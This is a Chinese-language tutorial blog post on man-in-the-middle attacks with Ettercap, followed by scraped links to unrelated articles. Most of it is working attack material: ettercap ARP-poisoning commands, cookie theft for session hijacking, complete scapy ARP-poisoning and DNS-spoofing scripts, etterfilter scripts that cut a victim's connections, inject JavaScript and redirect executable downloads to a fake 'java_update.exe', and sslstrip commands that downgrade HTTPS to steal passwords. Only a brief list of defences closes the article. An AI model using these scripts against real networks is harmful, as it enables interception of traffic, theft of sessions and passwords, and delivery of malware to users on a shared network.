中间人攻击之ettercap嗅探
中间人攻击:
中间人攻击(Man-in-the-MiddleAttack,简称“MITM攻击”)是一种“间接”的入侵攻击,这种攻击模式是通过各种技术手段将受入侵者控制的一台计算机虚拟放置在网络连接中的两台通信计算机之间,这台计算机就称为“中间人”。
Ettercap简介:
Ettercap is a comprehensive suite for man in the middle attacks. It features sniffing of live connections, content filtering on the fly and many other interesting tricks. It supports active and passive dissection of many protocols and includes many features for network and host analysis. ps:摘自Ettercap官网主页,我就不废话了,是款十分NB的神器。。。在最新的SecTools.Org的Top 125 Network Security Tools排行榜中,Ettercap排行第16位。
项目官网:http://ettercap.github.io/ettercap/index.html
Github地址:https://github.com/Ettercap
今天要将的主要是基于Ettercap的中间人攻击,在它的选项栏里有四种:ARP缓存投毒,ICMP重定向,端口监听,DHCP欺骗。在这里要介绍一下ARP欺骗、DNS欺骗、会话劫持、密码嗅探以及SSL加密的密码嗅探。其实Ettercap的功能是很强大的,从它的插件就可以看到功能有:发现可疑ARP活动、ARP响应、DNS欺骗、Dos攻击、发现连接(交换环境)、发现Ettercap活动、列出子网未使用的IP、隔离主机、MAC泛洪、ssltrip等。
0x01 ARP欺骗与DNS欺骗
中间人攻击常见的两种方法:ARP欺骗、DNS欺骗。
ARP欺骗: 在实现TCP/IP协议的网络环境下,一个ip包走到哪里,要怎么走是靠路由表定义,但是,当ip包到达该网络后,哪台机器响应这个ip包却是靠该ip包中所包含的硬件mac地址来识别。也就是说,只有机器的硬件mac地址和该ip包中的硬件mac地址相同的机器才会应答这个ip包,因为在网络中,每一台主机都会有发送ip包的时候,所以,在每台主机的内存中,都有一个 arp--> 硬件mac 的转换表。通常是动态的转换表(该arp表可以手工添加静态条目)。也就是说,该对应表会被主机在一定的时间间隔后刷新。这个时间间隔就是ARP高速缓存的超时时间。通常主机在发送一个ip包之前,它要到该转换表中寻找和ip包对应的硬件mac地址,如果没有找到,该主机就发送一个ARP广播包,于是,主机刷新自己的ARP缓存。然后发出该ip包。在此推荐FB上的一篇文章: 中间人攻击-ARP毒化
DNS欺骗: 目标将其DNS请求发送到攻击者这里,然后攻击者伪造DNS响应,将正确的IP地址替换为其他IP,之后你就登陆了这个攻击者指定的IP,而攻击者早就在这个IP中安排好了一个伪造的网站如某银行网站,从而骗取用户输入他们想得到的信息,如银行账号及密码等,这可以看作一种网络钓鱼攻击的一种方式。对于个人用户来说,要防范DNS劫持应该注意不点击不明的连接、不去来历不明的网站、不要在小网站进行网上交易,最重要的一点是记清你想去网站的域名,当然,你还可以把你常去的一些涉及到机密信息提交的网站的IP地址记下来,需要时直接输入IP地址登录。在此还推荐FB上的一篇文章: 中间人攻击-DNS欺骗
0x02 中间人攻击
在大多数正常的网络环境下,要想获得局域网内其他主机的流量,使用ARP欺骗是很好的方式,除非是自己搭建的网络环境。基于ARP欺骗的中间人攻击是一种很常见的手段。下面以Ettercap的使用为例,来进行展示。
首先介绍一下Ettercap的使用方法,英文比较简单,这里就不翻译了,直接列出它的帮助说明:
Usage: ettercap [OPTIONS] [TARGET1] [TARGET2] TARGET is in the format MAC/IP/PORTs (see the man for further detail) Sniffing and Attack options:
-M, --mitm <METHOD:ARGS> perform a mitm attack
-o, --only-mitm don't sniff, only perform the mitm attack
-b, --broadcast sniff packets destined to broadcast
-B, --bridge <IFACE> use bridged sniff (needs ifaces)
-p, --nopromisc do not put the iface in promisc mode
-S, --nosslmitm do not forge SSL certificates
-u, --unoffensive do not forward packets
-r, --read <file> read data from pcapfile <file>
-f, --pcapfilter <string> set the pcap filter <string>
-R, --reversed use reversed TARGET matching
-t, --proto <proto> sniff only this proto (default is all)
--certificate <file> certificate file to use for SSL MiTM
--private-key <file> private key file to use for SSL MiTM User Interface Type:
-T, --text use text only GUI
-q, --quiet do not display packet contents
-s, --script <CMD> issue these commands to the GUI
-C, --curses use curses GUI
-D, --daemon daemonize ettercap (no GUI)
-G, --gtk use GTK+ GUI Logging options:
-w, --write <file> write sniffed data to pcapfile <file>
-L, --log <logfile> log all the traffic to this <logfile>
-l, --log-info <logfile> log only passive infos to this <logfile>
-m, --log-msg <logfile> log all the messages to this <logfile>
-c, --compress use gzip compression on log files Visualization options:
-d, --dns resolves ip addresses into hostnames
-V, --visual <format> set the visualization format
-e, --regex <regex> visualize only packets matching this regex
-E, --ext-headers print extended header for every pck
-Q, --superquiet do not display user and password General options:
-i, --iface <iface> use this network interface
-I, --liface show all the network interfaces
-Y, --secondary <ifaces> list of secondary network interfaces
-n, --netmask <netmask> force this <netmask> on iface
-A, --address <address> force this local <address> on iface
-P, --plugin <plugin> launch this <plugin>
-F, --filter <file> load the filter <file> (content filter)
-z, --silent do not perform the initial ARP scan
-j, --load-hosts <file> load the hosts list from <file>
-k, --save-hosts <file> save the hosts list to <file>
-W, --wifi-key <wkey> use this key to decrypt wifi packets (wep or wpa)
-a, --config <config> use the alterative config file <config> Standard options:
-v, --version prints the version and exit
-h, --help
ARP欺骗之会话劫持:
ettercap -i eth0 -T -M arp:remote /10.0.0.1/ // 欺骗局域网内所有主机
ettercap -i eth0 -T -M arp:remote /10.0.0.1/ /10.0.0.12/ 欺骗IP为10.0.0.12的主机

同时使用tcpdump抓包(当然也可以使用wireshark实时抓包并显示,但对本机压力比较大,建议使用tcpdump抓包,完成后再用wireshark显示):
tcpdump -i eth0

经过一段时间的抓包之后就可以停止了。打开wireshark分析捕获到的数据包分析,使用过滤语法,找出含有cookies的数据包:
复制出cookies的值,并在浏览器中利用,这里推荐一款好用的cooikes利用工具cookie-injecting-tools(地址:https://github.com/lfzark/cookie-injecting-tools)。利用成功后,刷新页面,就可以进入到被人的主页和网盘了:

DNS欺骗:
使用ettercap进行的DNS欺骗是使用了它的一个插件,同时结合ARP欺骗,就可以达到很好的欺骗效果。这里不再重复介绍了。重点是下面使用python实现的ARP欺骗和DNS欺骗:
#!/usr/bin/python
# arp-poisoning import sys
from scapy.all import sniff, sendp, ARP, Ether if len(sys.argv) < 2:
print sys.argv[0] + " <iface>"
sys.exit(0)
def arp_poison_callback(packet):
# Got ARP request?
if packet[ARP].op == 1:
answer = Ether(dst=packet[ARP].hwsrc) / ARP()
answer[ARP].op = "is-at"
answer[ARP].hwdst = packet[ARP].hwsrc
answer[ARP].psrc = packet[ARP].pdst
answer[ARP].pdst = packet[ARP].psrc print "Fooling " + packet[ARP].psrc + " that " + \
packet[ARP].pdst + " is me"
sendp(answer, iface=sys.argv[1]) sniff(prn=arp_poison_callback,
filter="arp",
iface=sys.argv[1],
store=0)
#!/usr/bin/env python
# dns-spoofing
#
# A simple DNS spoofing script
# It's batter with ARP-Spoofing
# and delete the local hosts file
# at same time.
# The hosts-file like this:
# 123.12.23.121 www.google.com
# import sys
import getopt
import scapy.all as scapy dev = "eth0"
filter = "udp port 53"
file = None
dns_map = {} def handle_packet(packet):
ip = packet.getlayer(scapy.IP)
udp = packet.getlayer(scapy.UDP)
dns = packet.getlayer(scapy.DNS) # standard (a record) dns query
if dns.qr == 0 and dns.opcode == 0:
queried_host = dns.qd.qname[:-1]
resolved_ip = None if dns_map.get(queried_host):
resolved_ip = dns_map.get(queried_host)
elif dns_map.get('*'):
resolved_ip = dns_map.get('*') if resolved_ip:
dns_answer = scapy.DNSRR(rrname=queried_host + '.',
ttl = 330,
type="A",
rclass="IN",
rdata=resolved_ip)
dns_reply = scapy.IP(src=ip.dst, dst=ip.src) / \
scapy.UDP(sport=udp.dport,dport=udp.sport) / \
scapy.DNS(
id = dns.id,
qr = 1,
aa = 0,
rcode = 0,
qd = dns.qd,
an = dns_answer
)
print "Send %s has %s to %s" % (queried_host,resolved_ip,ip.src)
scapy.send(dns_reply, iface=dev) def usage():
print sys.argv[0] + ' -f <hosts-file> -i <dev>'
sys.exit(1) def parse_host_file(file):
for line in open(file):
line = line.rstrip('\n') if line:
(ip, host) = line.split()
dns_map[host] = ip
try:
cmd_opts = 'f:i:'
opts, args = getopt.getopt(sys.argv[1:], cmd_opts)
except getopt.GetoptError:
usage() for opt in opts:
if opt[0] == '-i':
dev = opt[1]
elif opt[0] == '-f':
file = opt[1]
else:
usage() if file:
parse_host_file(file)
else:
usage() print "Spoofing DNS requests on %s" % dev
scapy.sniff(iface=dev, filter=filter, prn=handle_packet)
上面的两个脚本的核心之处是使用了scapy(http://www.secdev.org/projects/scapy/doc/usage.html#starting-scapy)这个网络库,其功能十分的强大,使用简介,基本只需几行代码就可以进行特定的攻击,有时间要好好研究研究。
Ettercap的包过滤:
Ettercap的包过滤是一个比较好玩的功能了。再结合一点钓鱼技术的话,危害就比较大了。下面简单介绍几种过滤实例:
Ettercap目录下也自带了一些过滤规则:

在该目录下的etter.filter.examples文件里写了一些常用的过滤脚本:

当然,更多使用说明可以查看一下man 手册: man etterfilter.里面对所有的过滤使用的函数都有详细的说明.下面举例:
(1) kill掉某一主机:
当你在心致勃勃地看片的时候,后面几个2b正在猛LOL,搞得看片跟看PPT一样,这个时候你是不是很不爽?是不是想揍他们一顿?好吧.我只想做一个安静的美男子,是时候kill他们了. 使用的过滤脚本为etter.filter.kill,如下:
if (ip.src == '10.0.0.16') {
# sent the RST to both source and dest
kill();
# don't even forward the packet
drop();
msg("HaHa! a 2b(ip:10.0.0.16) has killed...\n");
}
编译成ettercap可以识别的二进制的二进制文件:

使用ettercap加载此脚本(-q 安静模式,即不显示数据包信息):

可以看到执行的效果:

(2) 替换网页的图片:
貌似上面的恶搞还不爽,那就把他浏览网页时的图片换掉试试,使用的脚本是etter.filter.images,如下:
if (ip.proto == TCP && tcp.dst == ) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
# note: replacement string is same length as original string
msg("zapped Accept-Encoding!\n");
}
}
if (ip.proto == TCP && tcp.src == ) {
replace("img src=", "img src=\"http://www.iyi8.com/uploadfile/2014/0921/20140921113722651.jpg\" ");
replace("IMG SRC=", "img src=\"http://www.iyi8.com/uploadfile/2014/0921/20140921113722651.jpg\" ");
msg("Filter Ran.\n");
}
(3) JavaSproit注入:
技术有限,这里就简单的弹个窗吧 :( 使用的脚本是etter.filter.alert:
if (ip.proto == TCP && tcp.dst == ) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
msg("zapped Accept-Encoding!\n");
}
}
if (ip.proto == TCP && tcp.src == ) {
if (search(DATA.data, "<body>")) {
replace("<head>","<head><script type="text/javascript">alert('just for a test!');</script>");
replace("<HEAD>","<HEAD><script type="text/javascript">alert('just for a test');</script>");
msg("Filter run!...Exploit code injected ok!\n");
}
}
(4)替换URL
# replace rmccurdy with your website
# replace the url with what ever exe you like if (ip.proto == TCP && tcp.dst == ) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
# note: replacement string is same length as original string
msg("zapped Accept-Encoding!n");
}
}
if (ip.proto == TCP && tcp.src == ) {
replace("keep-alive", "close" ");
replace("Keep-Alive", "close" ");
} if (ip.proto == TCP && search(DATA.data, ": application") ){
# enable for logging log(DECODED.data, "/tmp/log.log");
msg("found EXEn");
# "Win32" is the first part of the exe example:
# if the EXE started with "this program must be run in MSDOS mode" you could search for MSDOS etc ..
if (search(DATA.data, "Win32")) {
msg("doing nothingn");
} else {
replace("200 OK", "301 Moved Permanently Location: http://127.0.0.1/java_update.exe ");
msg("redirect successn");
}
}
0x03 SSL密码嗅探
对SSL流量的嗅探,可以使用sslstrip这个工具,它的原理就是把所有的https流量降级为http流量。相当于一个中间人的角色,它与服务器建立正常的https廉洁,而与浏览器则使用http连接。使用时需要本机开启流量转发,将80端口的http流量同时转发到10000端口上,在10000端口上使用sslstrip来监听即可:
# echo 1 > /proc/sys/net/ipv4/ip_forward
# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
# sslstrip -l 10000
0X04 防范MITM攻击的常用方法
1. 将一些机密信息进行加密后再传输,这样即使被“中间人”截取也难以破解。
2. 通过设备或IP异常检测。如用户以前从未使用某个设备或IP访问系统。
3. 通过设备或IP频率检测:如单一的设备或IP同时访问大量的用户帐号。3. 进行带外认证,具体过程是:系统进行实时的自动电话回叫,将二次PIN码发送至SMS(短信网关),短信网关再转发给用户,用户收到后,再将二次PIN码发送到短信网关,以确认是否是真的用户。
中间人攻击之ettercap嗅探的更多相关文章
- 中间人攻击工具ettercap
中间人攻击工具ettercap (一).简介 (二).模块划分 1.Snifer 2.MITM 3.Filter 4.Log 5.Plugin (三).特性 (四).用户操作界面 (五).指定目标 ( ...
- 中间人攻击-ARP毒化
感谢Heee投递 中间人攻击虽然古老,但仍处于受到黑客攻击的危险中,可能会严重导致危害服务器和用户.仍然有很多变种的中间人攻击是有效的,它们能够很容易的欺骗外行并且入侵他们.正如字面意思一样,中间人攻 ...
- Ettercap中间人攻击--介绍
前言 Ettercap有四种界面:Text,Curses,GTK2,Daemonize. -T 命令行界面,只显示字符.通常与配套的参数有-q(安静模式),加上该选项,则不会显示抓到的数据包 ...
- 如何用Ettercap实现“中间人攻击”(附下载链接)
什么是“中间人攻击”? 中间人攻击(Man-in-the-Middle Attack,简称“MiTM攻击”)是一种“间接”的入侵攻击,这种攻击模式是通过各种技术手段将受入侵者控制的一台计算机虚拟放置在 ...
- Ettercap 实施中间人攻击
中间人攻击(MITM)该攻击很早就成为了黑客常用的一种古老的攻击手段,并且一直到如今还具有极大的扩展空间,MITM攻击的使用是很广泛的,曾经猖獗一时的SMB会话劫持.DNS欺骗等技术都是典型的MITM ...
- ettercap中间人攻击--参数介绍
攻击和嗅探 -M, --mitm ARP欺骗,参数 -M arp remote # 双向模式,同时欺骗通信双方,-M arp:remote. oneway #单向模式,只arp欺骗第一个 ...
- 中间人攻击(MITM)姿势总结
相关学习资料 http://www.cnblogs.com/LittleHann/p/3733469.html http://www.cnblogs.com/LittleHann/p/3738141. ...
- 关于ARP欺骗与MITM(中间人攻击)的一些笔记( 二 )
一直没有折腾啥东西,直到最近kali Linux发布,才回想起应该更新博客了….. 再次说明,这些技术并不是本人原创的,而是以前记录在Evernote的旧内容(排版不是很好,请谅解),本文是继关于AR ...
- SSL/TLS中间人攻击
准备:kali.xp kali ip:192.168.14.157 目标ip:192.168.14.158 目标网关:192.168.14.2 使用工具:ettercap.sslstrip.arpsp ...
随机推荐
- [BZOJ5248] 2018九省联考 D1T1 一双木棋 | 博弈论 状压DP
题面 菲菲和牛牛在一块\(n\)行\(m\)列的棋盘上下棋,菲菲执黑棋先手,牛牛执白棋后手. 棋局开始时,棋盘上没有任何棋子,两人轮流在格子上落子,直到填满棋盘时结束. 落子的规则是:一个格子可以落子 ...
- emwin之多次删除同一窗口导致死机现象
@218-7-24 [现象] 使用函数 GUI_EndDialog() 多次删除同一窗口,导致系统死机,调试发现代码会卡死在以下两处 > 1.启动文件中 > 2.HardFault中断内 ...
- 洛谷 P3989 [SHOI2013]阶乘字符串 解题报告
P3989 [SHOI2013]阶乘字符串 题目描述 给定一个由前\(n(\le 26)\)个小写字母组成的串\(S(|S|\le 450)\).串\(S\)是阶乘字符串当且仅当前 \(n\) 个小写 ...
- 2018.7中石油个人赛第4场(D-Transit Tree Path)-最短路算法
6690: Transit Tree Path 时间限制: 1 Sec 内存限制: 128 MB提交: 472 解决: 132[提交] [状态] [讨论版] [命题人:admin] 题目描述 Yo ...
- vs2010中使用 git
在没有使用git之前的,我很苦恼.因为我的代码有时在办公室做,有时也带回家做.做了一些时间,放在哪,要用的时间就不知道家里的还是办公室的是新版本了.甚至出现了旧版本把新版本覆盖的乌龙事情.有了git只 ...
- 基于pycaffe的网络训练和结果分析(mnist数据集)
该工作的主要目的是为了练习运用pycaffe来进行神经网络一站式训练,并从多个角度来分析对应的结果. 目标: python的运用训练 pycaffe的接口熟悉 卷积网络(CNN)和全连接网络(DNN) ...
- 理解 PHP 依赖注入
Laravel框架的依赖注入确实很强大,并且通过容器实现依赖注入可以有选择性的加载需要的服务,减少初始化框架的开销,下面是我在网上看到的一个帖子,写的很好拿来与大家分享,文章从开始按照传统的类设计数据 ...
- SQL Server利用XML找字符串相同部分
DECLARE @a NVARCHAR(100)= '01,02,04,05,07'; DECLARE @b NVARCHAR(100)= '01,03,04,05,06'; WITH a1 ...
- loadrunner之Java Vuser协议脚本编写
步骤:1.根据自己使用的lr版面选择jdk 1)LR11 1.6 32位 2)LR12 1.7 32位 2.安装好jdk,并搭建java环境变量,安装好java代码编写工具 3.在sr ...
- 怎么看SQL表里某列是否是自增列
开启或关闭自增列 SET IDENTITY_INSERT 表名 ON/OFF 1.语句 Select OBJECTPROPERTY(OBJECT_ID('表名'),'TableHasIdentity' ...